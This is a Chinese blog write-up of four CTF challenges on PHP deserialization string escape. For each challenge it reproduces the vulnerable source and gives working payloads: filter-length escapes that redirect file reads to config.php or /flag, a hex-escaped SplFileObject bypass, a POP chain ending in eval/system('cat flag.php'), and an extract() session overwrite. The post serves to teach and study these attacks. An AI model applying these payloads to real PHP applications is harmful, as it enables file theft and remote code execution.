PHP反序列化字符串逃逸

9 分钟

前言

例如:最近日常刷题玩的时候,做到了PHP反序列化字符串逃逸类型的题目,想了想之前好像也有类似的题,好像还挺常见到的,一起拿出来,记录一下。


一、关于反序列化和序列化

  1. 之所以有反序列化和序列化这种东西,是因为当程序执行结束的时候,内存会进行销毁释放空间,序列化能够将要保存的数据转换成有一定格式的字符串,无论是保存起来还是传输起来都更加便捷,而反序列化就是将序列化的数据恢复成最原先的样子。
  2. 那么PHP在反序列化的时候,是以;作为分隔点,}作为结束标志的,根据长度来判断要读取多少个字符串,假如在程序执行时,能够使得反序列化字符串增加或者减少,然后通过恶意构造,就会使得数据发生变化,反序列化吞或者吐了一些数据,造成了漏洞。

    二、[0ctf 2016]unserialize

  3. 进入题目
    在这里插入图片描述
只有一个登录页面,没啥思路,直接扫了一波目录

在这里插入图片描述

访问www.zip能直接得到源码,同时通过register.php可以注册用户,update.php可以更新用户的信息,profile.php显示用户的信息,随便注册个用户,传点信息看看。

在这里插入图片描述

图片显示这里显然有点端倪,将数据base64后读取到了页面,应该这里是解题的入口点,由于透露了www.zip,所以可以直接看一波源代码。
  1. 关键源码
    (1)profile.php
<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');    
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">  
        <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
        <h3>Hi <?php echo $nickname;?></h3>
        <label>Phone: <?php echo $phone;?></label>
        <label>Email: <?php echo $email;?></label>
    </div>
</body>
</html>
<?php
    }
?>

(2)class.php

<?php
require('config.php');

class user extends mysql{
    private $table = 'users';

    public function is_exists($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        return parent::select($this->table, $where);
    }
    public function register($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $key_list = Array('username', 'password');
        $value_list = Array($username, md5($password));
        return parent::insert($this->table, $key_list, $value_list);
    }
    public function login($username, $password) {
        $username = parent::filter($username);
        $password = parent::filter($password);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        if ($object && $object->password === md5($password)) {
            return true;
        } else {
            return false;
        }
    }
    public function show_profile($username) {
        $username = parent::filter($username);

        $where = "username = '$username'";
        $object = parent::select($this->table, $where);
        return $object->profile;
    }
    public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }
    public function __tostring() {
        return __class__;
    }
}

class mysql {
    private $link = null;

    public function connect($config) {
        $this->link = mysql_connect(
            $config['hostname'],
            $config['username'], 
            $config['password']
        );
        mysql_select_db($config['database']);
        mysql_query("SET sql_mode='strict_all_tables'");

        return $this->link;
    }

    public function select($table, $where, $ret = '*') {
        $sql = "SELECT $ret FROM $table WHERE $where";
        $result = mysql_query($sql, $this->link);
        return mysql_fetch_object($result);
    }

    public function insert($table, $key_list, $value_list) {
        $key = implode(',', $key_list);
        $value = '\'' . implode('\',\'', $value_list) . '\''; 
        $sql = "INSERT INTO $table ($key) VALUES ($value)";
        return mysql_query($sql);
    }

    public function update($table, $key, $value, $where) {
        $sql = "UPDATE $table SET $key = '$value' WHERE $where";
        return mysql_query($sql);
    }

    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
    public function __tostring() {
        return __class__;
    }
}
session_start();
$user = new user();
$user->connect($config);

(3)update.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');    
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');

        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');
        
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);

        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }
    else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
    <div class="container" style="margin-top:100px">  
        <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
            <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
            <h3>Please Update Your Profile</h3>
            <label>Phone:</label>
            <input type="text" name="phone" style="height:30px"class="span3"/>
            <label>Email:</label>
            <input type="text" name="email" style="height:30px"class="span3"/>
            <label>Nickname:</label>
            <input type="text" name="nickname" style="height:30px" class="span3">
            <label for="file">Photo:</label>
            <input type="file" name="photo" style="height:30px"class="span3"/>
            <button type="submit" class="btn btn-primary">UPDATE</button>
        </form>
    </div>
</body>
</html>
<?php
    }
?>
依照上面的思路直接看图片那一部分,可以看到通过file_put_content()函数获取了图片传入的数据,并且在传入前对phone、email、nickname进行了反序列化,那么能不能控制photo的内容呢,好像不能,继续看看其它的。
    public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }
此处发现对传入的string进行了filter函数的替换,能使字符串增加,那么能不能构造,使得photo的内容读取为某个文件,不再读取后面upload/路径内容,按照顺序,nickname似乎可以办到
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');
这里对nickname进行了长度限制,先得绕过这里才能传入nickname,使用数组便可以,strlen函数处理不了数组
  1. payload
a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:10:"123@qq.com";s:8:"nickname";s:5:"aiwin";s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
正常的传入的序列化字符串应当是这样的,这时我们要使photo为config.php读出flag,截断s:39:“upload/f3ccdd27d2000e3f9255a7e3e2c48800”;}的读取。
那么替换的值应当是";}s:5:"photo";s:10:"config.php";}这里一共34个字符,使用where替换成hacker时,会增加一个长度,因此34个where就会增加34个字符,使";}s:5:"photo";s:10:"config.php";}溢出,从而截断了upload后的读取,达到了读取config.php的效果。
<?php

function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

$profile = array(
    'phone'=>'01234567890',
    'email'=>'123@qq.com',
    'nickname'=>array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'),
    'photo'=>'upload/'.md5('1.jpg')
);
print_r(serialize($profile));
print_r(filter(serialize($profile)));
var_dump(unserialize(filter(serialize($profile))));
?>

输入如下:

a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}array(4) {
  ["phone"]=>
  string(11) "01234567890"
  ["email"]=>
  string(10) "123@qq.com"
  ["nickname"]=>
  array(1) {
    [0]=>
    string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  }
  ["photo"]=>
  string(10) "config.php"
}
where变成hacker之后,增加了一个字符,由于原先确定的是204个字符,where变成hacker后刚好占了204个字符,所以导致后面34个字符即s:5:"photo";s:10:"config.php";}";}溢出,因为以}为尾,所以认为反序列化结束,后面的upload的内容自然就被丢弃。

在这里插入图片描述
在这里插入图片描述

二、prize_p5[NSSCTF]

  1. 进入题目直接给了源码
<?php
error_reporting(0);

class catalogue{
    public $class;
    public $data;
    public function __construct()
    {
        $this->class = "error";
        $this->data = "hacker";
    }
    public function __destruct()
    {
        echo new $this->class($this->data);
    }
}
class error{
    public function __construct($OTL)
    {
        $this->OTL = $OTL;
        echo ("hello ".$this->OTL);
    }
}
class escape{
    public $name = 'OTL';
    public $phone = '123666';
    public $email = 'sweet@OTL.com';
}
function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
    if(!preg_match('/object/i',$_GET['cata'])){
        unserialize($_GET['cata']);
    }
    else{
        $cc = new catalogue();
        unserialize(serialize($cc));
    }
    if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
        if (preg_match("/flag/i",$_POST['email'])){
            die("nonono,you can not do that!");
        }
        $abscond = new escape();
        $abscond->name = $_POST['name'];
        $abscond->phone = $_POST['phone'];
        $abscond->email = $_POST['email'];
        $abscond = serialize($abscond);
        $escape = get_object_vars(unserialize(abscond($abscond)));
        if(is_array($escape['phone'])){
            echo base64_encode(file_get_contents($escape['email']));
        }
        else{
            echo "I'm sorry to tell you that you are wrong";
        }
    }
}
else{
    highlight_file(__FILE__);
}
?>
这题有两个解,作者预期解应该是通过反序列化的逃逸进行。

第一种解在于catalogue类:通过此类的销毁函数中利用原生类的读取flag。

<?php
class catalogue{
public $class;
public $data;
public function __construct()
{
$this->class = "SplFileObject";
$this->data = "flag";
}

}
$a=new catalogue();
echo serialize($a)
虽然传入的cata进行了object的过滤,但是可以使用\十六进制字符绕过
O:9:"catalogue":2:{s:5:"class";S:13:"SplFile\4fbject";s:4:"data";s:5:"/flag";}
这里S表示可以十六进制,\x4f代笔十进制79,ASCII对应的就是O
在这里插入图片描述
第二种反序列化解:
function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}

if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
        if (preg_match("/flag/i",$_POST['email'])){
            die("nonono,you can not do that!");
        }
        $abscond = new escape();
        $abscond->name = $_POST['name'];
        $abscond->phone = $_POST['phone'];
        $abscond->email = $_POST['email'];
        $abscond = serialize($abscond);
        $escape = get_object_vars(unserialize(abscond($abscond)));
        if(is_array($escape['phone'])){
            echo base64_encode(file_get_contents($escape['email']));
        }
        else{
            echo "I'm sorry to tell you that you are wrong";
        }
    }
在反序列化时,调用了abscond()对字符串进行替换,将NSS,CTF,OTL_QAQ,hello都替换成hacker,代码最后通过file_get_contents()获取email的数据并对email过滤了flag,因此这里可以通过字符串的逃逸影响email的内容,进而绕过flag,获取flag的值。由于这里phone必须是个数组,所以对name的值下手比较好。

首先是增加值:

对name构造,就需要让phone和email的值都溢出来,即字符串
";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}溢出,一共53个字符,NSS替换成hacker增加3个字符,所以17个NSS+2个hello刚好是53个字符。
<?php
class escape{
    public $name = 'NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShellohello";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}';
    public $phone = '1';
    public $email = '1';
}
function abscond($string){
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
$a = new escape();
$b= serialize($a);
echo $b;
echo PHP_EOL;
$c = abscond($b);
var_dump(unserialize($c));

在这里插入图片描述

使值缩小也可以解

<?php
class escape{
    public $name = 'OTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQOTL_QAQ';
    public $phone = 'A";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}';
    public $email = '1';
}
function abscond($string){
    return str_replace('OTL_QAQ', 'hacker', $string);
}
$a = new escape();
$b= serialize($a);
echo $b;
echo PHP_EOL;
$c = abscond($b);
echo $c;
echo PHP_EOL;
var_dump(unserialize($c));
相当于利用21个OTL_QAQ将长度为21的";s:5:"phone";s:54:"A"给减少了。
在这里插入图片描述

三、[UUCTF 2022 新生赛]ezpop

源码:

<?php
//flag in flag.php
error_reporting(0);
class UUCTF{
    public $name,$key,$basedata,$ob;
    function __construct($str){
        $this->name=$str;
    }
    function __wakeup(){
        if($this->key==="UUCTF"){
            $this->ob=unserialize(base64_decode($this->basedata));
        }
        else{
            die("oh!you should learn PHP unserialize String escape!");
        }
    }
}
class output{
    public $a;
    function __toString(){
        $this->a->rce();
    }
}
class nothing{
    public $a;
    public $b;
    public $t;
    function __wakeup(){
        $this->a="";
    }
    function __destruct(){
        $this->b=$this->t;
        die($this->a);
    }
}
class youwant{
    public $cmd;
    function rce(){
        eval($this->cmd);
    }
}
$pdata=$_POST["data"];
if(isset($pdata))
{
    $data=serialize(new UUCTF($pdata));
    $data_replace=str_replace("hacker","loveuu!",$data);
    unserialize($data_replace);
}else{
    highlight_file(__FILE__);
}

?>
传入data数据,用data数据初始化一个UUCTF类,然后将hacker替换成loveuu后进行反序列化,可以看到youwant类可以进行命令执行,所以整条Pop链:youwant_rce()->ouput_toString()->nothing_destruct()->UUCTF_wakeup(),入口为UUCTF的__wakeup函数,要将basedata的数据替换成Pop链的base64编码才能触发Pop链,现在可以控制的只有构造函数即name的数据。
正常的传入data序列化后为O:5:"UUCTF":4:{s:4:"name";s:5:"aiwin";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
现在也就是说要把 ";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}给顶出去,首先构造Pop链。
<?php
error_reporting(0);
class output{
    public $a;
}
class nothing{
    public $a;
    public $b;
    public $t;
}
class youwant{
    public $cmd="system('cat flag.php');";
}

$A=new nothing();
$A->a=&$A->b;
$A->t=new output();
$A->t->a=new youwant();
$basedata=base64_encode(serialize($A));

构造出了basedata,整条序列化后为O:5:"UUCTF":4:{s:4:"name";s:5:"UUCTF" ;s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;}";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;}一共236个字符,每有一个hacker替换,就会多吃一个字符,所以236个hacker刚好吃完,";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}读取不到,完成了逃逸。

在这里插入图片描述

原本1652要吃到19";s:2:"ob";N;},但是替换成loveuu!后,就只能吃完hacker,因此后面构造的basedata逃逸出来了。

完整的payload:

<?php
error_reporting(0);
class output{
    public $a;
}
class nothing{
    public $a;
    public $b;
    public $t;
}
class youwant{
    public $cmd="system('cat flag.php');";
}

$A=new nothing();
$A->a=&$A->b;
$A->t=new output();
$A->t->a=new youwant();
$basedata=base64_encode(serialize($A));
echo strlen($basedata);
$str = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
echo $str."\n";
$hacker='';
for($i=0;$i<strlen($str);$i++)
{
    $hacker.='hacker';
}
$payload = $hacker.$str;
echo $payload;
#O:5:"UUCTF":4:{s:4:"name";s:5:"aiwin";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
?>

四、[安洵杯 2019]easy_serialize_php

源码:

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //d0g3_f1ag.php
}else if($function == 'show_image'){
//    var_dump($serialize_info);
    $userinfo = unserialize($serialize_info);
//    echo PHP_EOL;
//    var_dump($userinfo);
//    echo PHP_EOL;
//    echo base64_decode($userinfo['img']);
    echo file_get_contents(base64_decode($userinfo['img']));
}
首先从phpinfo里面可以得到flag位于d0g3_f1ag.php,因此目标明确,要通过file_get_content获取flag的值,所以要将userinfo['img']的值变为d0g3_f1ag.php的base64编码,但是这里序列化的值是默认为guest_img.png的base64编码,所以需要逃逸。其次就是extract()覆盖变量,可以通过直接传入_SESSION[name]直接覆盖掉_SESSION["user"]等值。

在这里插入图片描述
那假如我们传自己定义的img的值看看:

;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
在这里插入图片描述
好像有反序列化逃逸的意思了,但是这里反序列化并不能成功,因为反序列化的字符不对,

所以可以试试

_SESSION[phpflag]=;s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这样序列化后的值为
"a:2:{s:7:"";s:50:";s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
php和flag被替换为空,s:50被吃进去了,导致后面成为了对象逃逸了出去,造成了键逃逸,多余的";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";就被截断了。

在这里插入图片描述
在这里插入图片描述

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:CTFCTF
文章标题:PHP反序列化字符串逃逸
文章链接:https://aiwin.fun/index.php/archives/4036/
最后编辑:2024 年 1 月 4 日 22:00 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 5 + 8 =
快来做第一个评论的人吧~